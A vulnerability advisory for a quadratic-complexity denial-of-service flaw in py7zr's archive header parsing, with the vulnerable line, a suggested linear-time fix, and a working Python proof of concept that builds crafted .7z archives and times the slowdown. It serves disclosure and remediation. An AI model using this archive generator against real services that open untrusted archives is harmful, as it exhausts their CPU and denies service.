py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read()
Summary
PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.init() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time.
Details
The vulnerable code is in PackInfo._read() (archiveinfo.py):
self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)]
numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.init(), before any extraction.
Suggested fix — replace with O(n) cumulative sum:
from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes))
PoC
import py7zr
from py7zr.archiveinfo import write_uint64, PROPERTY
MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c'
def encode_uint64(v):
buf = io.BytesIO()
write_uint64(buf, v)
return buf.getvalue()
def build_7z_with_streams(numstreams):
header = io.BytesIO()
header.write(PROPERTY.HEADER)
header.write(PROPERTY.MAIN_STREAMS_INFO)
header.write(PROPERTY.PACK_INFO)
header.write(encode_uint64(0))
header.write(encode_uint64(numstreams))
header.write(PROPERTY.SIZE)
for _ in range(numstreams):
header.write(encode_uint64(1))
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header.write(PROPERTY.END)
header_data = header.getvalue()
out = io.BytesIO()
out.write(MAGIC)
out.write(b'\x00\x04')
next_crc = binascii.crc32(header_data) & 0xFFFFFFFF
start_header = (struct.pack('<Q', 0)
+ struct.pack('<Q', len(header_data))
+ struct.pack('<I', next_crc))
out.write(struct.pack('<I', binascii.crc32(start_header) &
0xFFFFFFFF))
out.write(start_header)
out.write(header_data)
return out.getvalue()
for n in [1000, 5000, 10000, 30000, 50000]:
archive = build_7z_with_streams(n)
start = time.time()
try:
with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z:
pass
except Exception:
# The crafted archive may later raise due to being malformed,
# but the quadratic work has already been performed during
# header parsing in SevenZipFile.__init__().
pass
elapsed = time.time() - start
print(f"n={n:6d} size={len(archive):8d} bytes
time={elapsed:.3f}s")
Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64.
Results:
n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s
Impact
Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Python (PyPI) | py7zr | < 1.1.3 | 1.1.3 |
References
- CVSS vector
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N- Weakness (CWE)
CWE-407- Platform
- Python (PyPI)
- Package
py7zr- Disclosed
- 19.06.2026
- Updated
- 11.10.2026 14:18
Sources and licenses
OSV / GitHub Advisory Database - PYSEC-2026-2973 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-h4gh-22qq-72r7 - CC BY 4.0
Vulnerability history: py7zr
All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 4
- First → latest
- 12.2022 06.2026
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
- Medium 2
Disclosures per year
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 3
-
py7zr: O(n^2) algorithmic complexity DoS in PackInfo._read() this entry
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